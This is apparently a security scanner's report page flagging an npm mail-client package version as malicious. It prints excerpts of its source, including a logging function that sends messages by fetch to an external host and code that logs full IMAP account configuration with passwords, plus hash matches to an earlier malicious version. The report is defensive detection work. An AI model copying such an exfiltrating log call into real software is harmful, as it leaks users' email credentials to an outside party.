@bobfrankston/mailx-store-web@0.1.116: Malicious npm security | LPM Firewall

Loading npm security reports…

@bobfrankston/mailx-store-web@0.1.116: Malicious npm security | LPM Firewall

Source & flagged code

5 flagged · loading source

worker-entry.tsView file

37try { L38: fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); L39: } catch { /* ignore */ } ... L90: if (!homeRes.ok) return null; L91: const home = (await homeRes.json() as any).files?.[0]; L92: if (!home?.id) return null;

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.115 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.115 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 54af7eaea484c414 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.115 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.115 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

web-settings.jsView file

251imap: { host: acct.imap?.host || provider?.imap.host || `imap.${domain}`, port: acct.imap?.port || provider?.imap.port || 993, tls: acct.imap?.tls ?? provider?.imap.tls ?? true, auth: acct.imap?.auth || provider?.imap.auth || "password", user: acct.imap?.user || user, password: acct.imap?.password || acct.password, }, smtp: { host: acct.smtp?.host || provider?.smtp.host || `smtp.${domain}`, port: acct.smtp?.port || provider?.smtp.port || 587, tls: acct.smtp?.tls

High

Ai Review Evidence

Account normalization retains IMAP and SMTP passwords.

web-settings.jsView on unpkg · L251

android-bootstrap.jsView file

1513for (const account of accounts) { vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`);

High

Ai Review Evidence

Account registration logs the complete IMAP configuration by JSON-serializing account.imap.

android-bootstrap.jsView on unpkg · L1513

Source & flagged code

5 flagged

worker-entry.tsView file

Lines 17-57typescript

17 setGDriveTokenProvider, setGDriveFolderId

18} from "./web-settings.js";

19

20// ── Globals ──

21

22let db: WebMailxDB;

23let bodyStore: WebMessageStore;

24let syncManager: SyncManager;

25let service: WebMailxService;

26

27const post = (msg: any) => (self as any).postMessage(msg);

28

29// ── Event emission → main thread ──

30

31function emitEvent(event: any): void {

32 post({ type: "event", event });

33}

34

35function vlog(msg: string): void {

36 // Route through main thread for logit (fetch works in workers but keep consistent)

37 try {

38 fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});

39 } catch { /* ignore */ }

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

worker-entry.tsView on unpkg · L37

40}

41

42// ── Native bridge proxy ──

43

44let nativeReqCounter = 0;

45const pendingNative = new Map<number, { resolve: (v: any) => void; reject: (e: Error) => void }>();

46

47function nativeRequest(op: string, args?: any[]): Promise<any> {

48 const reqId = ++nativeReqCounter;

49 return new Promise((resolve, reject) => {

50 pendingNative.set(reqId, { resolve, reject });

51 post({ type: "native", reqId, op, args });

52 setTimeout(() => {

53 if (pendingNative.has(reqId)) {

54 pendingNative.delete(reqId);

55 reject(new Error(`Native ${op} timeout`));

56 }

57 }, 60000);

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/mailx-store-web@0.1.115 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.115 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 54af7eaea484c414 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @bobfrankston/mailx-store-web@0.1.115 matchedPath = worker-bundle.js matchedIdentity = npm:[redacted]:0.1.115 similarity = 1.000 shingleOverlap = 11 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

worker-bundle.jsView on unpkg

web-settings.jsView file

Lines 231-271javascript

231 label: "Yahoo",

232 imap: { host: "imap.mail.yahoo.com", port: 993, tls: true, auth: "password" },

233

android-bootstrap.jsView file

Lines 1493-1533javascript

1493 }

1494 }

1495 catch (e) {

1496 console.warn(`[android] List debug: ${e.message}`);

1497 }

1498 // Shared allowlist/preferences: pull NOW that Drive auth is

1499